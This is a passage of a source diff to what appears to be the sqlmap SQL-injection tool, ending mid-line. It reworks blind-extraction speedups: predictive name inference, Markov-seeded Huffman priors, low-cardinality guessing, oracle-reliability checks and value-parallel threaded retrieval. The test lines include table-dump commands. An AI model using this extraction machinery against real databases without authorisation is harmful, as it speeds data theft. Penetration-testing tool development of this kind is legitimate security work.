+e08683ba2558b734562a3490caf0bdde4ae8767b81b0d89fe6db346a13a452c1 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py +ea85d5eccc6d6f6f9e4423ea97dc607ef2ca10b8264e7877c128b2252d1340e3 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -219,7 +219,7 @@ c968a04d3de9256d56c423d46556441223607e4573627f2af4e772e084aef5fc lib/request/dn 7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py -7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py +7ad7ac3c7126b3bad5898803a87769f199f6e8ecfb8abdca4fc4a29e63932595 lib/request/inject.py df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py @@ -236,7 +236,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc lib/takeover/udf.py 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py 8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527 lib/takeover/xp_cmdshell.py -a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques/blind/inference.py +da4930b2499270172140ae1f12c4666d42b2f1c0c348fcb021d4dccedc91d0ac lib/techniques/blind/inference.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py @@ -499,8 +499,8 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f plugins/generic/databases.py -13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py +dc52b79735a2e349dbc599bc7bd3f57b58560aed977f8b053f745e93532d4e13 plugins/generic/databases.py +93c4833046dce00a60cf6ca118e6637d4be23a67aa45714f91d23215d544b023 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py 8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab plugins/generic/filesystem.py efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py diff --git a/lib/core/common.py b/lib/core/common.py index 4c4a4d307c5..e4d0fce445b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1582,10 +1582,10 @@ def setPaths(rootPath): paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") # sqlmap files + paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.txt") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") - paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") @@ -2605,42 +2605,23 @@ def calculateDeltaSeconds(start): def initCommonOutputs(): """ - Initializes dictionary containing common output values used by "good samaritan" feature + Initializes the per-context dictionary of common identifier names used by the + predictive-inference feature to shortcut blind table/column name enumeration. + Sourced directly from the curated '--common-tables'/'--common-columns' wordlists + (real-world, app-focused names); prediction only ever reorders the charset or + confirms a whole value, so it never penalizes a miss. - >>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"] + >>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"] True """ kb.commonOutputs = {} - key = None - - with openFile(paths.COMMON_OUTPUTS, 'r') as f: - for line in f: - if line.find('#') != -1: - line = line[:line.find('#')] - - line = line.strip() - - if len(line) > 1: - if line.startswith('[') and line.endswith(']'): - key = line[1:-1] - elif key: - if key not in kb.commonOutputs: - kb.commonOutputs[key] = set() - - if line not in kb.commonOutputs[key]: - kb.commonOutputs[key].add(line) - - # The curated '--common-tables'/'--common-columns' brute-force wordlists are far larger and much - # more app-focused than the built-in [Tables]/[Columns] prediction sections (which are mostly - # system objects), so fold them into the good-samaritan prediction to raise its real-world hit rate. - # The mechanism only reorders the charset, so extra coverage never penalizes a miss. - for _key, _path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): + + for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): try: - for _ in getFileItems(_path): - kb.commonOutputs.setdefault(_key, set()).add(_) + kb.commonOutputs[key] = set(getFileItems(path)) except SqlmapSystemException: - pass + kb.commonOutputs[key] = set() def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ @@ -2684,19 +2665,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un return retVal if not unique else list(retVal.keys()) -def goGoodSamaritan(prevValue, originalCharset): +def predictValue(prevValue, originalCharset): """ - Function for retrieving parameters needed for common prediction (good - samaritan) feature. + Predictive-inference helper: given the value retrieved so far (prefix), consult the + per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common- + tables/common-columns wordlists) to shortcut blind extraction. prevValue: retrieved query output so far (e.g. 'i'). - Returns commonValue if there is a complete single match (in kb.partRun - of txt/common-outputs.txt under kb.partRun) regarding parameter - prevValue. If there is no single value match, but multiple, commonCharset is - returned containing more probable characters (retrieved from matched - values in txt/common-outputs.txt) together with the rest of charset as - otherCharset. + Returns commonValue when a single wordlist entry matches the prefix (the whole value + can be confirmed in one request); otherwise commonCharset holds the more probable + next characters (reordered ahead of otherCharset) so the bisection converges faster. """ if kb.commonOutputs is None: @@ -2755,7 +2734,7 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ Goes through call stack and finds constructs matching - conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' + conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns') """ retVal = None @@ -3692,8 +3671,8 @@ def setOptimize(): Sets options turned on by switch '-o' """ - # conf.predictOutput = True - # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers) + # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive + # inference is now an inherent, always-on part of blind name enumeration (no longer a switch) conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) diff --git a/lib/core/option.py b/lib/core/option.py index f6d55580877..b67d7e0623d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2243,6 +2243,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.disableHuffman = False kb.huffmanProbes = 0 kb.huffmanEscapes = 0 + kb.lowCardCache = {} + kb.dumpCharset = {} + kb.dumpCharsetStable = {} + kb.litmusCounter = 0 + kb.reliabilityAlarm = False kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None @@ -2256,7 +2261,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None @@ -2914,10 +2919,6 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) - if conf.predictOutput and (conf.threads > 1 or conf.optimize): - errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" - raise SqlmapSyntaxException(errMsg) - if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 08cbf800bee..f9db8437127 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -79,7 +79,6 @@ "Optimization": { "optimize": "boolean", - "predictOutput": "boolean", "keepAlive": "boolean", "noKeepAlive": "boolean", "nullConnection": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 35ab7215c3f..837bcc2d455 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.30" +VERSION = "1.10.7.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -560,11 +560,52 @@ for _char in _chars: HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight -# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output -# pool for their enumeration context, so later same-context items that share structure (e.g. -# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from -# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge -# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection. +# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier +# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/ +# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT +# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user). +NAME_PREDICTION_CONTEXTS = ("Tables", "Columns") + +# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind +# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first +# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the +# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree +# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model. +NAME_MARKOV_ORDER = 3 +CATALOG_IDENTIFIERS_PRIOR_PEAK = 20 + +# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality +# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by +# equality against the values already seen for that column (one request on a hit) before per-character +# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap. +LOW_CARDINALITY_THRESHOLD = 32 + +# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer +# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just +# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy +# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a +# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption +# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before +# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable. +ORACLE_LITMUS_CHECK_EVERY = 25 + +# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so +# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this +# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with +# many near-unique values can only ever waste a small, bounded number of probes before falling back. +LOW_CARDINALITY_MAX_GUESSES = 8 + +# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is +# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps +# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged +# the speculative restricted-search-then-escalate cost. +DUMP_CHARSET_STABLE_ROWS = 3 + +# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration +# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...) +# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers +# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character +# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration). PREDICTION_FEEDBACK_MAX_LENGTH = 128 PREDICTION_FEEDBACK_MAX_ITEMS = 10000 diff --git a/lib/core/testing.py b/lib/core/testing.py index 787d049ce53..a10e336213c 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -78,7 +78,7 @@ def vulnTest(tests=None, label="vuln"): ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 3bfe55d59d9..5a350e47aa1 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -318,9 +318,6 @@ def cmdLineParser(argv=None): optimization.add_argument("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") - optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", - help="Predict common queries output") - # Note: persistent (Keep-Alive) connections are used by default; this opts out optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true", help="Disable persistent HTTP(s) connections (Keep-Alive)") diff --git a/lib/request/inject.py b/lib/request/inject.py index 417b638d786..416ea21aa90 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -13,6 +13,10 @@ from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import applyFunctionRecursively +from lib.core.common import dataToStdout +from lib.core.common import unArrayizeValue +from lib.core.datatype import AttribDict +from lib.utils.safe2bin import safecharencode from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery @@ -22,6 +26,7 @@ from lib.core.common import getPublicTypeMembers from lib.core.common import getTechnique from lib.core.common import getTechniqueData +from lib.core.common import incrementCounter from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique @@ -58,10 +63,13 @@ from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData +from lib.core.threads import runThreads +from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength +from lib.techniques.blind.inference import valueMatchCondition from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse @@ -358,6 +366,153 @@ def _goUnion(expression, unpack=True, dump=False): return output +def _verifyInferredValue(expression, value): + """ + Confirm a value-parallel-inferred name with ONE equality boolean (lock-free forged + query, mirroring the predictive commonValue check). A wrong bisection bit under heavy + concurrent load on a flaky/WAF'd target flips a character; a full-value equality catches + it sharply (a corrupted name != the real one). Returns True when (expression) == value + holds, or on a transient verify error (never discard a value on a hiccup). + """ + + if value is None or isNoneValue(value): + return True + + value = unArrayizeValue(value) + if not isinstance(value, six.string_types): + return True + + if Backend.getDbms(): + _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) + nulledCastedField = agent.nullAndCastField(fieldToCastStr) + expressionUnescaped = unescaper.escape(expression.replace(fieldToCastStr, nulledCastedField, 1)) + else: + expressionUnescaped = unescaper.escape(expression) + + matchCondition = valueMatchCondition(expressionUnescaped, value) + if matchCondition is None: # non-ASCII value: no reliable whole-value equality (see valueMatchCondition) + return None # caller confirms these by an independent re-extraction instead + + query = getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition) + query = agent.suffixQuery(agent.prefixQuery(query)) + + timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + + try: + result = bool(Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)) + incrementCounter(getTechnique()) + return result + except Exception: + return True + +def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False): + """ + Value-parallel blind retrieval. + + Retrieve many independent values concurrently, ONE whole value per worker thread, each decoded + sequentially via bisection with length=None - so there is NO per-value length probe (unlike the + position-parallel path, which must probe LENGTH() to split a value's characters across threads) and + the sequential prefix lets predictive inference / low-cardinality guessing / the per-column Huffman + model work. This parallelizes across VALUES instead of character positions - the right axis for the + MANY short values of table/column NAME enumeration (context="Tables"/"Columns" tags kb.partRun so + predictValue() consults the wordlist) and, with dump=True, of per-column data dumping (Huffman and + low-cardinality guessing engage). It bypasses getValue()'s @lockedmethod the same way union/error + row-threading calls _oneShotUnionUse directly. `exprBuilder(index)` yields the per-value expression. + Returns a list aligned with `indices` (None where a value could not be retrieved); single-thread is + just sequential retrieval (no worse than the classic loop, and still without the length probe). + """ + + indices = list(indices) + + savedTechnique = getTechnique() + + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) + elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + setTechnique(PAYLOAD.TECHNIQUE.TIME) + else: + return None + + initTechnique(getTechnique()) + payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + + results = [None] * len(indices) + cursor = iter(xrange(len(indices))) + + def inferenceThread(): + threadData = getCurrentThreadData() + # Each per-value bisection streams its characters to stdout and mirrors them into + # threadData.shared.value - which is a PROCESS-GLOBAL object. Left as-is, concurrent + # workers interleave their character output (garbled console) and stomp each other's + # partial value. So suppress the per-char streaming here and give each worker a private + # shared-state object; a single clean line/counter is printed per completed value below. + threadData.disableStdOut = True + threadData.shared = AttribDict() + + while kb.threadContinue: + with kb.locks.limit: + try: + slot = next(cursor) + except StopIteration: + break + + expression = exprBuilder(indices[slot]) + try: + _, value = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + # Self-verify each value: sustained concurrent boolean load on a flaky/WAF'd target can flip + # a bisection bit (raw retrieval has no per-char validation), so confirm the whole value and + # re-extract on mismatch. ASCII values use ONE fast equality probe; a value carrying non-ASCII + # (which a quoted literal may not round-trip, AND which is itself a common corruption symptom) + # is instead confirmed by an INDEPENDENT re-extraction having to agree - a random flip will not + # reproduce the same bytes twice. Bounded to a few tries; correctness over a marginal request. + tries = 0 + while not isNoneValue(value) and not threadData.lowCardHit and tries < 3: + verdict = _verifyInferredValue(expression, value) + if verdict is True: + break + tries += 1 + _, other = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + if verdict is None and other == value: # two independent extractions agree -> trust it + break + value = other # equality said wrong, or the two disagree -> adopt fresh, recheck + except Exception as ex: + logger.debug("parallel retrieval worker failed at slot %d ('%s')" % (slot, ex)) + value = None + + with kb.locks.value: + results[slot] = value + + # Stream each retrieved value as it completes (they arrive out of order under threads, exactly + # like the error/union dumps), so a dump shows its data live rather than a silent counter. + if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): + with kb.locks.io: + rendered = safecharencode(unArrayizeValue(value)) + dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True) + + # Save/restore the calling thread's state: with a single thread runThreads runs the worker + # INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out. + savedPartRun = kb.partRun + mainThreadData = getCurrentThreadData() + savedStdOut, savedShared = mainThreadData.disableStdOut, mainThreadData.shared + kb.partRun = context + try: + runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread) + finally: + kb.partRun = savedPartRun + mainThreadData.disableStdOut = savedStdOut + mainThreadData.shared = savedShared + if savedTechnique is not None: + setTechnique(savedTechnique) + + # Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is + # re-extracted serially via the classic getValue() path - full error handling, and a persistent error + # surfaces there - rather than being silently returned as an empty value. + for slot in xrange(len(results)): + if results[slot] is None and kb.threadContinue: + results[slot] = getValue(exprBuilder(indices[slot]), union=False, error=False, dump=dump, charsetType=charsetType) + + return results + @lockedmethod @stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 46a99430c4a..6e5bb4f27e9 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -20,10 +20,12 @@ from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter +from lib.core.common import getFileItems from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData -from lib.core.common import goGoodSamaritan +from lib.core.common import openFile +from lib.core.common import predictValue from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter @@ -34,6 +36,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths from lib.core.data import queries from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE @@ -44,6 +47,13 @@ from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import HUFFMAN_PROBE_LIMIT from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS +from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK +from lib.core.settings import DUMP_CHARSET_STABLE_ROWS +from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES +from lib.core.settings import LOW_CARDINALITY_THRESHOLD +from lib.core.settings import NAME_PREDICTION_CONTEXTS +from lib.core.settings import NAME_MARKOV_ORDER +from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH from lib.core.settings import INFERENCE_BLANK_BREAK @@ -73,6 +83,174 @@ # outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection". _HUFFMAN_FALLBACK = object() +# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process +_huffmanPriorCache = {} + +def normalizedExpression(expression): + """ + Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies + from row to row is masked so every row of the same column maps to a single key. Used to group a + column's values for low-cardinality guessing and for its per-column online Huffman model. + + >>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1") + True + """ + + retVal = expression + + for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"): + retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I) + + return retVal + +def getHuffmanPrior(order, scale, dbms=None): + """ + Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman + set-membership tree during blind NAME enumeration (so it predicts from the first character rather + than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the + back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching + [] section of catalog-identifiers.txt - a single global model dilutes across dialects). + Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model. + """ + + if (order, scale, dbms) in _huffmanPriorCache: + return _huffmanPriorCache[(order, scale, dbms)] + + prior = {} + names = [] + + for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES): + try: + names.extend(getFileItems(path)) + except Exception: + pass + + if dbms: + try: + with openFile(paths.CATALOG_IDENTIFIERS, "r", errors="ignore") as f: + section = None + for line in f: + line = line.strip() + if not line or line.startswith('#'): + continue + if line.startswith('[') and line.endswith(']'): + section = line[1:-1] + elif section == dbms: + names.append(line) + except Exception: + pass + + for name in names: + terminated = name + "\x00" + for i in xrange(len(terminated)): + ordinal = ord(terminated[i]) + if ordinal < 128: + counts = prior.setdefault(terminated[max(0, i - order):i], {}) + counts[ordinal] = counts.get(ordinal, 0) + 1 + + for counts in prior.values(): + peak = max(counts.values()) or 1 + for ordinal in counts: + counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak))) + + _huffmanPriorCache[(order, scale, dbms)] = prior + return prior + +def contextWeights(model, prior, order, prefix): + """ + Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus + the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest + context has not been seen yet. The online model is snapshotted under kb.locks.prediction because + value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise). + """ + + weights = {} + context = prefix[-order:] if order > 0 else "" + + while True: + with kb.locks.prediction: + online = dict(model.get(context) or ()) + for source in (online, prior.get(context) if prior is not None else None): + if source: + for symbol, count in source.items(): + weights[symbol] = weights.get(symbol, 0) + count + + if weights or not context: + break + + context = context[1:] + + return weights + +def valueMatchCondition(expressionUnescaped, value): + """ + Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a + string), or None when a whole-value equality cannot be trusted and the caller must fall back to + per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification. + + Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by + the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same + bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a + needless re-extraction). ASCII values compare reliably. + + On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a + numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare- + number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL) + "text = 1" is a hard type error that would abort the whole boolean, and there the expression is already + text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides + whether a whole-value shortcut hits or falls back to per-character extraction. + + >>> valueMatchCondition("q", "abc").count("OR") + 0 + >>> valueMatchCondition("q", u"caf\\xe9") is None + True + """ + + if value is None or any(ord(_) >= 128 for _ in value): + return None + + quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False) + condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted) + + if re.match(r"\A-?\d+(\.\d+)?\Z", value) and 